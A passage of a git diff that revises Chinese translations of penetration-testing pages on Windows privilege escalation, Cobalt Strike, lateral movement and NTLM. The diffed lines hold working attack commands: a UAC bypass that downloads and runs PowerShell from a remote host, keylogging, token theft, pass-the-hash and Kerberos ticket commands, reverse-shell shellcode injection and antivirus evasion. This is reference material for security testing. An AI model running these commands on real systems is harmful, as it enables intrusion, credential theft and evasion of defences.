#List RDP sessions inside a host (n
```
### 组策略对象 - GPOs
-如果攻击者对一个 GPO 拥有 **高权限**,他可能能够通过 **为用户添加权限**、**向主机添加本地管理员用户**或 **创建一个计划任务**(立即)来执行某个操作,从而 **提权**。\
-有关此内容的 [**更多信息以及如何利用它,请点击此链接**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation)。
+如果攻击者对 **GPO** 拥有 **高权限**,他可能能够通过 **为用户添加权限**、**向主机添加本地管理员用户** 或 **创建一个计划任务**(立即)来执行某个操作,从而 **提权**。\
+有关 **更多信息以及如何利用它,请访问此链接**。
```powershell
#GPO
Get-DomainGPO | select displayName #Check the names for info
diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md
index 09c1fef8f..6c655135c 100644
--- a/src/windows-hardening/checklist-windows-privilege-escalation.md
+++ b/src/windows-hardening/checklist-windows-privilege-escalation.md
@@ -1,4 +1,4 @@
-# 检查清单 - 本地 Windows 提权
+# 清单 - 本地 Windows 提权
{{#include ../banners/hacktricks-training.md}}
@@ -7,14 +7,14 @@
### [系统信息](windows-local-privilege-escalation/#system-info)
- [ ] 获取 [**系统信息**](windows-local-privilege-escalation/#system-info)
-- [ ] 使用脚本搜索 **内核** [**漏洞**](windows-local-privilege-escalation/#version-exploits)
-- [ ] 使用 **Google 搜索** 内核 **漏洞**
-- [ ] 使用 **searchsploit 搜索** 内核 **漏洞**
+- [ ] 搜索 **内核** [**利用脚本**](windows-local-privilege-escalation/#version-exploits)
+- [ ] 使用 **Google 搜索** 内核 **利用**
+- [ ] 使用 **searchsploit 搜索** 内核 **利用**
- [ ] [**环境变量**](windows-local-privilege-escalation/#environment) 中有趣的信息?
- [ ] [**PowerShell 历史**](windows-local-privilege-escalation/#powershell-history) 中的密码?
-- [ ] [**Internet 设置**](windows-local-privilege-escalation/#internet-settings) 中有趣的信息?
+- [ ] [**互联网设置**](windows-local-privilege-escalation/#internet-settings) 中有趣的信息?
- [ ] [**驱动器**](windows-local-privilege-escalation/#drives)?
-- [ ] [**WSUS 漏洞**](windows-local-privilege-escalation/#wsus)?
+- [ ] [**WSUS 利用**](windows-local-privilege-escalation/#wsus)?
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
### [日志/AV 枚举](windows-local-privilege-escalation/#enumeration)
@@ -39,14 +39,14 @@
### [网络](windows-local-privilege-escalation/#network)
-- [ ] 检查 **当前** [**网络信息**](windows-local-privilege-escalation/#network)
+- [ ] 检查 **当前** [**网络** **信息**](windows-local-privilege-escalation/#network)
- [ ] 检查 **隐藏的本地服务** 是否限制外部访问
### [运行中的进程](windows-local-privilege-escalation/#running-processes)
-- [ ] 进程二进制文件 [**文件和文件夹权限**](windows-local-privilege-escalation/#file-and-folder-permissions)
+- [ ] 进程二进制 [**文件和文件夹权限**](windows-local-privilege-escalation/#file-and-folder-permissions)
- [ ] [**内存密码挖掘**](windows-local-privilege-escalation/#memory-password-mining)
-- [ ] [**不安全的 GUI 应用程序**](windows-local-privilege-escalation/#insecure-gui-apps)
+- [ ] [**不安全的 GUI 应用**](windows-local-privilege-escalation/#insecure-gui-apps)
- [ ] 通过 `ProcDump.exe` 偷取 **有趣进程** 的凭据?(firefox, chrome 等 ...)
### [服务](windows-local-privilege-escalation/#services)
@@ -76,7 +76,7 @@
### [Windows 凭据](windows-local-privilege-escalation/#windows-credentials)
- [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials) 凭据
-- [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) 中你可以使用的凭据?
+- [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) 凭据你可以使用?
- [ ] 有趣的 [**DPAPI 凭据**](windows-local-privilege-escalation/#dpapi)?
- [ ] 保存的 [**Wifi 网络**](windows-local-privilege-escalation/#wifi) 密码?
- [ ] [**保存的 RDP 连接**](windows-local-privilege-escalation/#saved-rdp-connections) 中有趣的信息?
@@ -95,7 +95,7 @@
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) 文件?
- [ ] [**缓存的 GPP 密码**](windows-local-privilege-escalation/#cached-gpp-pasword)?
- [ ] [**IIS Web 配置文件**](windows-local-privilege-escalation/#iis-web-config) 中的密码?
-- [ ] [**Web 日志**](windows-local-privilege-escalation/#logs) 中有趣的信息?
+- [ ] [**网络日志**](windows-local-privilege-escalation/#logs) 中有趣的信息?
- [ ] 你想要 [**向用户请求凭据**](windows-local-privilege-escalation/#ask-for-credentials) 吗?
- [ ] [**回收站中的有趣文件**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
- [ ] 其他 [**包含凭据的注册表**](windows-local-privilege-escalation/#inside-the-registry)?
diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md
index deb8022a6..51a2840b3 100644
--- a/src/windows-hardening/cobalt-strike.md
+++ b/src/windows-hardening/cobalt-strike.md
@@ -4,7 +4,7 @@
### C2 Listeners
-`Cobalt Strike -> Listeners -> Add/Edit` 然后您可以选择监听的位置,使用哪种信标(http, dns, smb...)等。
+`Cobalt Strike -> Listeners -> Add/Edit` 然后您可以选择监听的位置、使用的信标类型(http、dns、smb...)等。
### Peer2Peer Listeners
@@ -23,12 +23,12 @@
* **`HTMLApplication`** 用于HTA文件
* **`MS Office Macro`** 用于带有宏的办公文档
-* **`Windows Executable`** 用于.exe, .dll或服务.exe
-* **`Windows Executable (S)`** 用于**无阶段**的.exe, .dll或服务.exe(无阶段比有阶段更好,IoCs更少)
+* **`Windows Executable`** 用于.exe、.dll或服务.exe
+* **`Windows Executable (S)`** 用于**无阶段**的.exe、.dll或服务.exe(无阶段比有阶段更好,IoCs更少)
#### Generate & Host payloads
-`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` 这将生成一个脚本/可执行文件,以从cobalt strike下载信标,格式包括:bitsadmin, exe, powershell和python
+`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` 这将生成一个脚本/可执行文件,以从cobalt strike下载信标,格式包括:bitsadmin、exe、powershell和python
#### Host Payloads
@@ -36,155 +36,155 @@
### Beacon Options
-# Execute local .NET binary
+# 执行本地 .NET 二进制文件
execute-assembly </path/to/executable.exe>
-# Screenshots
-printscreen # 通过PrintScr方法拍摄单个屏幕截图
-screenshot # 拍摄单个屏幕截图
+# 截图
+printscreen # 通过 PrintScr 方法拍摄单个截图
+screenshot # 拍摄单个截图
screenwatch # 定期拍摄桌面截图
-## 转到View -> Screenshots查看它们
+## 转到 View -> Screenshots 查看它们
-# keylogger
+# 键盘记录器
keylogger [pid] [x86|x64]
-## View > Keystrokes查看按下的键
+## View > Keystrokes 查看按下的键
-# portscan
+# 端口扫描
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # 在另一个进程中注入端口扫描操作
portscan [targets] [ports] [arp|icmp|none] [max connections]
# Powershell
-# Import Powershell module
+# 导入 Powershell 模块
powershell-import C:\path\to\PowerView.ps1
powershell <just write powershell cmd here>
-# User impersonation
-## Token generation with creds
-make_token [DOMAIN\user] [password] #创建用于在网络中模拟用户的令牌
-ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机中的C$
-rev2self # 停止使用make_token生成的令牌
-## 使用make_token会生成事件4624:账户成功登录。 该事件在Windows域中非常常见,但可以通过过滤登录类型来缩小范围。 如上所述,它使用LOGON32_LOGON_NEW_CREDENTIALS,类型为9。
+# 用户冒充
+## 使用凭据生成令牌
+make_token [DOMAIN\user] [password] # 创建令牌以在网络中冒充用户
+ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机上的 C$
+rev2self # 停止使用通过 make_token 生成的令牌
+## 使用 make_token 会生成事件 4624:帐户已成功登录。 该事件在 Windows 域中非常常见,但可以通过过滤登录类型来缩小范围。 如上所述,它使用 LOGON32_LOGON_NEW_CREDENTIALS,类型为 9。
-# UAC Bypass
+# UAC 绕过
elevate svc-exe <listener>
elevate uac-token-duplication <listener>
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
-## Steal token from pid
-## 类似于make_token,但从进程中窃取令牌
+## 从 pid 中窃取令牌
+## 类似于 make_token,但从进程中窃取令牌
steal_token [pid] # 此外,这对于网络操作而非本地操作很有用
-## 从API文档中我们知道,这种登录类型“允许调用者克隆其当前令牌”。 这就是信标输出显示模拟<current_username>的原因 - 它正在模拟我们自己的克隆令牌。
-ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机中的C$
-rev2self # 停止使用steal_token的令牌
+## 从 API 文档中我们知道,这种登录类型“允许调用者克隆其当前令牌”。 这就是 Beacon 输出显示 Impersonated <current_username> 的原因 - 它正在冒充我们自己的克隆令牌。
+ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机上的 C$
+rev2self # 停止使用从 steal_token 获取的令牌
-## 使用新凭据启动进程
-spawnas [domain\username] [password] [listener] #从具有读取权限的目录执行,例如:cd C:\
-## 类似于make_token,这将生成Windows事件4624:账户成功登录,但登录类型为2(LOGON32_LOGON_INTERACTIVE)。 它将详细说明调用用户(TargetUserName)和模拟用户(TargetOutboundUserName)。
+## 使用新凭据启动进程
+spawnas [domain\username] [password] [listener] # 从具有读取权限的目录执行,例如:cd C:\
+## 类似于 make_token,这将生成 Windows 事件 4624:帐户已成功登录,但登录类型为 2(LOGON32_LOGON_INTERACTIVE)。 它将详细说明调用用户(TargetUserName)和被冒充用户(TargetOutboundUserName)。
-## Inject into process
+## 注入到进程中
inject [pid] [x64|x86] [listener]
-## 从OpSec的角度来看:除非真的有必要,否则不要执行跨平台注入(例如x86 -> x64或x64 -> x86)。
+## 从 OpSec 的角度来看:除非真的有必要,否则不要执行跨平台注入(例如 x86 -> x64 或 x64 -> x86)。
-## Pass the hash
-## 此修改过程需要对LSASS内存进行修补,这是一个高风险操作,需要本地管理员权限,并且如果启用了受保护进程轻量级(PPL),则不太可行。
+## 传递哈希
+## 此修改过程需要对 LSASS 内存进行修补,这是一个高风险操作,需要本地管理员权限,并且如果启用了受保护进程轻量级(PPL),则不太可行。
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
-## Pass the hash through mimikatz
+## 通过 mimikatz 传递哈希
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
-## 如果没有/run,mimikatz会生成cmd.exe,如果您以具有桌面的用户身份运行,他将看到shell(如果您以SYSTEM身份运行,则可以继续)
-steal_token <pid> #从mimikatz创建的进程中窃取令牌
+## 如果没有 /run,mimikatz 会生成一个 cmd.exe,如果您以具有桌面的用户身份运行,他将看到 shell(如果您以 SYSTEM 身份运行,您就可以了)
+steal_token <pid> # 从 mimikatz 创建的进程中窃取令牌
-## Pass the ticket
+## 传递票证
## 请求票证
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
-## 创建一个新的登录会话以使用新票证(以免覆盖被攻陷的票证)
+## 创建一个新的登录会话以与新票证一起使用(以免覆盖被破坏的票证)
make_token <domain>\<username> DummyPass
-## 从powershell会话中将票证写入攻击者机器并加载
+## 从 PowerShell 会话中将票证写入攻击者机器并加载
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
-## Pass the ticket from SYSTEM
+## 从 SYSTEM 传递票证
## 使用票证生成新进程
execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## 从该进程中窃取令牌
steal_token <pid>
-## Extract ticket + Pass the ticket
-### List tickets
+## 提取票证 + 传递票证
+### 列出票证
execute-assembly C:\path\Rubeus.exe triage
-### Dump interesting ticket by luid
+### 通过 luid 转储有趣的票证
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
-### 创建新的登录会话,注意luid和processid
+### 创建新的登录会话,注意 luid 和 processid
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### 在生成的登录会话中插入票证
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
-### 最后,从新进程中窃取令牌
+### 最后,从该新进程中窃取令牌
steal_token <pid>
-# Lateral Movement
+# 横向移动
## 如果创建了令牌,将会使用它
jump [method] [target] [listener]
## 方法:
-## psexec x86 使用服务运行服务EXE工件
-## psexec64 x64 使用服务运行服务EXE工件
-## psexec_psh x86 使用服务运行PowerShell一行代码
-## winrm x86 通过WinRM运行PowerShell脚本
-## winrm64 x64 通过WinRM运行PowerShell脚本
+## psexec x86 使用服务运行服务 EXE 工件
+## psexec64 x64 使用服务运行服务 EXE 工件
+## psexec_psh x86 使用服务运行 PowerShell 一行代码
+## winrm x86 通过 WinRM 运行 PowerShell 脚本
+## winrm64 x64 通过 WinRM 运行 PowerShell 脚本
remote-exec [method] [target] [command]
## 方法:
## psexec 通过服务控制管理器远程执行
-## winrm 通过WinRM(PowerShell)远程执行
-## wmi 通过WMI远程执行
+## winrm 通过 WinRM 远程执行(PowerShell)
+## wmi 通过 WMI 远程执行
-## 要使用wmi执行信标(它不在jump命令中),只需上传信标并执行
+## 要使用 wmi 执行信标(它不在 jump 命令中),只需上传信标并执行
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
-# Pass session to Metasploit - Through listener
-## 在metaploit主机上
+# 将会话传递给 Metasploit - 通过监听器
+## 在 metasploit 主机上
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j
-## 在cobalt上:Listeners > Add并将Payload设置为Foreign HTTP。 将Host设置为10.10.5.120,将Port设置为8080,然后单击保存。
+## 在 cobalt:Listeners > Add 并将 Payload 设置为 Foreign HTTP。 将 Host 设置为 10.10.5.120,将 Port 设置为 8080,然后单击保存。
beacon> spawn metasploit
-## 您只能使用外部监听器生成x86 Meterpreter会话。
+## 您只能使用外部监听器生成 x86 Meterpreter 会话。
-# Pass session to Metasploit - Through shellcode injection
-## 在metasploit主机上
+# 将会话传递给 Metasploit - 通过 shellcode 注入
+## 在 metasploit 主机上
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
-## 运行msfvenom并准备multi/handler监听器
+## 运行 msfvenom 并准备 multi/handler 监听器
-## 将bin文件复制到cobalt strike主机
+## 将 bin 文件复制到 cobalt strike 主机
ps
-shinject <pid> x64 C:\Payloads\msf.bin #在x64进程中注入metasploit shellcode
+shinject <pid> x64 C:\Payloads\msf.bin # 在 x64 进程中注入 metasploit shellcode
-# Pass metasploit session to cobalt strike
-## 生成无阶段信标shellcode,转到Attacks > Packages > Windows Executable (S),选择所需的监听器,选择Raw作为输出类型,并选择使用x64有效负载。
-## 在metasploit中使用post/windows/manage/shellcode_inject注入生成的cobalt strike shellcode
+# 将 metasploit 会话传递给 cobalt strike
+## 生成无阶段的 Beacon shellcode,转到 Attacks > Packages > Windows Executable (S),选择所需的监听器,选择 Raw 作为输出类型,并选择使用 x64 负载。
+## 在 metasploit 中使用 post/windows/manage/shellcode_inject 注入生成的 cobalt strike shellcode
-# Pivoting
-## 在teamserver中打开socks代理
+# 透传
+## 在团队服务器中打开 socks 代理
beacon> socks 1080
-# SSH connection
+# SSH 连接
beacon> ssh 10.10.17.12:22 username password
-## Avoiding AVs
+## 避免 AVs
### Artifact Kit
-通常在`/opt/cobaltstrike/artifact-kit`中,您可以找到cobalt strike将用于生成二进制信标的代码和预编译模板(在`/src-common`中)。
+通常在 `/opt/cobaltstrike/artifact-kit` 中,您可以找到代码和预编译模板(在 `/src-common` 中),这些是 cobalt strike 将用于生成二进制信标的有效载荷。
-使用[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)与生成的后门(或仅使用编译的模板),您可以找到触发防御者的原因。 通常是一个字符串。 因此,您只需修改生成后门的代码,以便该字符串不会出现在最终的二进制文件中。
+使用 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) 与生成的后门(或仅使用编译的模板),您可以找到触发防御者的原因。 通常是一个字符串。 因此,您只需修改生成后门的代码,以便该字符串不会出现在最终的二进制文件中。
-修改代码后,只需从同一目录运行`./build.sh`并将`dist-pipe/`文件夹复制到Windows客户端的`C:\Tools\cobaltstrike\ArtifactKit`中。
+修改代码后,只需从同一目录运行 `./build.sh` 并将 `dist-pipe/` 文件夹复制到 Windows 客户端的 `C:\Tools\cobaltstrike\ArtifactKit` 中。
```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
diff --git a/src/windows-hardening/lateral-movement/README.md b/src/windows-hardening/lateral-movement/README.md
index 6ead4fd75..5cc3c8669 100644
--- a/src/windows-hardening/lateral-movement/README.md
+++ b/src/windows-hardening/lateral-movement/README.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-有不同的方法在外部系统中执行命令,这里可以找到主要的 Windows 横向移动技术的工作原理说明:
+有不同的方法在外部系统中执行命令,这里可以找到主要Windows横向移动技术的工作原理解释:
- [**PsExec**](psexec-and-winexec.md)
- [**SmbExec**](smbexec.md)
diff --git a/src/windows-hardening/lateral-movement/dcom-exec.md b/src/windows-hardening/lateral-movement/dcom-exec.md
index 55eefffac..c6bf47963 100644
--- a/src/windows-hardening/lateral-movement/dcom-exec.md
+++ b/src/windows-hardening/lateral-movement/dcom-exec.md
@@ -6,7 +6,7 @@
**有关此技术的更多信息,请查看原始帖子 [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
-分布式组件对象模型(DCOM)对象为基于网络的对象交互提供了有趣的能力。微软为DCOM和组件对象模型(COM)提供了全面的文档,分别可以在 [这里查看DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) 和 [这里查看COM]()。可以使用PowerShell命令检索DCOM应用程序列表:
+分布式组件对象模型(DCOM)对象为基于网络的对象交互提供了有趣的能力。微软为DCOM和组件对象模型(COM)提供了全面的文档,分别可以在 [此处获取DCOM文档](https://msdn.microsoft.com/en-us/library/cc226801.aspx) 和 [此处获取COM文档]()。可以使用PowerShell命令检索DCOM应用程序列表:
```bash
Get-CimInstance Win32_DCOMApplication
```
@@ -36,13 +36,13 @@ ls \\10.10.10.10\c$\Users
**有关此技术的更多信息,请查看原始帖子 [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
-**MMC20.Application** 对象被识别为缺乏明确的 "LaunchPermissions",默认为允许管理员访问的权限。有关更多详细信息,可以在 [这里](https://twitter.com/tiraniddo/status/817532039771525120) 探索一个线程,并建议使用 [@tiraniddo](https://twitter.com/tiraniddo) 的 OleView .NET 来过滤没有明确启动权限的对象。
+**MMC20.Application** 对象被发现缺乏明确的 "LaunchPermissions",默认为允许管理员访问的权限。有关更多详细信息,可以在 [这里](https://twitter.com/tiraniddo/status/817532039771525120) 探索一个线程,并建议使用 [@tiraniddo](https://twitter.com/tiraniddo) 的 OleView .NET 来过滤没有明确启动权限的对象。
两个特定对象,`ShellBrowserWindow` 和 `ShellWindows`,因缺乏明确的启动权限而被强调。`HKCR:\AppID\{guid}` 下缺少 `LaunchPermission` 注册表项表示没有明确的权限。
### ShellWindows
-对于缺乏 ProgID 的 `ShellWindows`,.NET 方法 `Type.GetTypeFromCLSID` 和 `Activator.CreateInstance` 通过其 AppID 促进对象实例化。此过程利用 OleView .NET 检索 `ShellWindows` 的 CLSID。一旦实例化,可以通过 `WindowsShell.Item` 方法进行交互,从而调用方法,如 `Document.Application.ShellExecute`。
+对于缺乏 ProgID 的 `ShellWindows`,可以使用 .NET 方法 `Type.GetTypeFromCLSID` 和 `Activator.CreateInstance` 通过其 AppID 进行对象实例化。此过程利用 OleView .NET 检索 `ShellWindows` 的 CLSID。一旦实例化,就可以通过 `WindowsShell.Item` 方法进行交互,从而调用方法,如 `Document.Application.ShellExecute`。
提供了示例 PowerShell 命令以实例化对象并远程执行命令:
```powershell
@@ -51,9 +51,9 @@ $obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
```
-### Lateral Movement with Excel DCOM Objects
+### 使用 Excel DCOM 对象进行横向移动
-侧向移动可以通过利用 DCOM Excel 对象来实现。有关详细信息,建议阅读 [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) 上关于通过 DCOM 利用 Excel DDE 进行侧向移动的讨论。
+横向移动可以通过利用 DCOM Excel 对象来实现。有关详细信息,建议阅读 [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) 上关于通过 DCOM 利用 Excel DDE 进行横向移动的讨论。
Empire 项目提供了一个 PowerShell 脚本,演示了通过操纵 DCOM 对象利用 Excel 进行远程代码执行 (RCE)。以下是来自 [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) 的脚本片段,展示了滥用 Excel 进行 RCE 的不同方法:
```powershell
@@ -80,7 +80,7 @@ $Obj.DDEInitiate("cmd", "/c $Command")
```
### 侧向移动的自动化工具
-有两个工具被强调用于自动化这些技术:
+两个工具被强调用于自动化这些技术:
- **Invoke-DCOM.ps1**:由Empire项目提供的PowerShell脚本,简化了在远程机器上执行代码的不同方法的调用。该脚本可以在Empire GitHub存储库中访问。
diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md
index b10d6db15..690a2efad 100644
--- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md
+++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md
@@ -9,7 +9,7 @@
1. **通过 SMB 复制服务二进制文件到 ADMIN$ 共享**。
2. **在远程机器上创建服务**,指向该二进制文件。
3. 服务被 **远程启动**。
-4. 退出时,服务被 **停止,并删除二进制文件**。
+4. 退出时,服务被 **停止,二进制文件被删除**。
### **手动执行 PsExec 的过程**
@@ -17,13 +17,13 @@
- **复制二进制文件**:可执行文件从命令提示符复制到 ADMIN$ 共享,尽管它可以放置在文件系统的任何位置以保持隐蔽。
- **创建服务**:利用 Windows `sc` 命令,该命令允许远程查询、创建和删除 Windows 服务,创建一个名为 "meterpreter" 的服务,指向上传的二进制文件。
-- **启动服务**:最后一步涉及启动服务,这可能会导致 "超时" 错误,因为该二进制文件不是一个真正的服务二进制文件,未能返回预期的响应代码。此错误无关紧要,因为主要目标是执行该二进制文件。
+- **启动服务**:最后一步是启动服务,这可能会导致 "超时" 错误,因为该二进制文件不是一个真正的服务二进制文件,未能返回预期的响应代码。此错误无关紧要,因为主要目标是执行该二进制文件。
观察 Metasploit 监听器将显示会话已成功启动。
[了解更多关于 `sc` 命令的信息](https://technet.microsoft.com/en-us/library/bb490995.aspx)。
-在此处找到更详细的步骤: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
+在此查找更详细的步骤: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**您还可以使用 Windows Sysinternals 二进制文件 PsExec.exe:**
diff --git a/src/windows-hardening/lateral-movement/smbexec.md b/src/windows-hardening/lateral-movement/smbexec.md
index b290750c4..90fcd1e2a 100644
--- a/src/windows-hardening/lateral-movement/smbexec.md
+++ b/src/windows-hardening/lateral-movement/smbexec.md
@@ -10,7 +10,7 @@
- 它通过在目标机器上创建一个临时服务(例如,“BTOBTO”)来通过 cmd.exe (%COMSPEC%) 执行命令,而不放置任何二进制文件。
- 尽管采用隐蔽的方法,但它确实为每个执行的命令生成事件日志,提供了一种非交互式的“shell”。
-- 使用 **Smbexec** 连接的命令如下:
+- 使用 **Smbexec** 连接的命令如下所示:
```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
```
diff --git a/src/windows-hardening/lateral-movement/wmiexec.md b/src/windows-hardening/lateral-movement/wmiexec.md
index 5ce97f290..ccbf8ca82 100644
--- a/src/windows-hardening/lateral-movement/wmiexec.md
+++ b/src/windows-hardening/lateral-movement/wmiexec.md
@@ -24,14 +24,14 @@ Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | s
# Listing of namespaces within "root\cimv2"
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
```
-可以使用以下命令列出命名空间中的类:
+在命名空间内可以使用以下方式列出类:
```bash
gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified
gwmi -Namespace "root/microsoft" -List -Recurse
```
### **类**
-知道 WMI 类名,例如 win32_process,以及它所在的命名空间对于任何 WMI 操作都是至关重要的。
+知道 WMI 类名,例如 win32_process,以及它所在的命名空间,对于任何 WMI 操作都是至关重要的。
列出以 `win32` 开头的类的命令:
```bash
Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
@@ -89,15 +89,15 @@ wmic sysaccount list /format:list
### **手动远程 WMI 查询**
-可以通过特定的 WMI 查询隐秘地识别远程计算机上的本地管理员和登录用户。`wmic` 还支持从文本文件读取,以便同时在多个节点上执行命令。
+可以通过特定的 WMI 查询隐秘地识别远程机器上的本地管理员和登录用户。`wmic` 还支持从文本文件读取,以便同时在多个节点上执行命令。
要通过 WMI 远程执行一个进程,例如部署 Empire 代理,使用以下命令结构,成功执行的返回值为 "0":
```bash
wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
```
-该过程展示了WMI远程执行和系统枚举的能力,突显了其在系统管理和渗透测试中的实用性。
+这个过程展示了WMI远程执行和系统枚举的能力,突显了它在系统管理和渗透测试中的实用性。
-## 参考
+## 参考文献
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md
index 4155fcd59..5ffbcc64e 100644
--- a/src/windows-hardening/ntlm/README.md
+++ b/src/windows-hardening/ntlm/README.md
@@ -49,9 +49,9 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
1. **用户**输入他的 **凭据**
2. 客户端机器 **发送认证请求**,发送 **域名** 和 **用户名**
3. **服务器**发送 **挑战**
-4. **客户端使用**密码的哈希作为密钥 **加密** **挑战** 并将其作为响应发送
-5. **服务器将** **域名、用户名、挑战和响应** 发送给 **域控制器**。如果 **没有** 配置 Active Directory 或域名是服务器的名称,则凭据 **在本地检查**。
-6. **域控制器检查一切是否正确** 并将信息发送给服务器
+4. **客户端加密** **挑战**,使用密码的哈希作为密钥,并将其作为响应发送
+5. **服务器将** **域名、用户名、挑战和响应**发送给 **域控制器**。如果 **没有** 配置 Active Directory 或域名是服务器的名称,则凭据 **在本地检查**。
+6. **域控制器检查一切是否正确**,并将信息发送给服务器
**服务器**和 **域控制器**能够通过 **Netlogon** 服务器创建 **安全通道**,因为域控制器知道服务器的密码(它在 **NTDS.DIT** 数据库中)。
@@ -63,7 +63,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
**挑战长度为 8 字节**,**响应长度为 24 字节**。
-**哈希 NT (16 字节)** 被分为 **3 个部分,每个部分 7 字节**(7B + 7B + (2B+0x00\*5)):**最后一部分用零填充**。然后,**挑战**与每个部分 **单独加密**,**结果**的加密字节被 **连接**。总计:8B + 8B + 8B = 24 字节。
+**哈希 NT (16 字节)** 被分为 **3 个部分,每个部分 7 字节**(7B + 7B + (2B+0x00\*5)):**最后一部分用零填充**。然后,**挑战**与每个部分 **单独加密**,并将 **结果** 加密字节 **连接**。总计:8B + 8B + 8B = 24 字节。
**问题**:
@@ -77,15 +77,15 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
如今,发现配置了不受限制委派的环境变得越来越少,但这并不意味着您不能 **滥用配置的打印后台处理程序服务**。
-您可以滥用您在 AD 上已经拥有的一些凭据/会话,以 **请求打印机进行身份验证**,针对某个 **在您控制下的主机**。然后,使用 `metasploit auxiliary/server/capture/smb` 或 `responder`,您可以 **将认证挑战设置为 1122334455667788**,捕获认证尝试,如果使用 **NTLMv1** 进行,您将能够 **破解它**。\
-如果您使用 `responder`,您可以尝试 \*\*使用标志 `--lm` \*\* 来尝试 **降级** **认证**。\
-NAN;_N请注意,对于此技术,认证必须使用 NTLMv1 进行(NTLMv2 无效)。_
+您可以滥用您在 AD 上已经拥有的一些凭据/会话,以 **请求打印机对某个您控制的主机进行身份验证**。然后,使用 `metasploit auxiliary/server/capture/smb` 或 `responder`,您可以 **将认证挑战设置为 1122334455667788**,捕获认证尝试,如果使用 **NTLMv1** 进行,您将能够 **破解它**。\
+如果您使用 `responder`,您可以尝试 **使用标志 `--lm`** 来尝试 **降级** **认证**。\
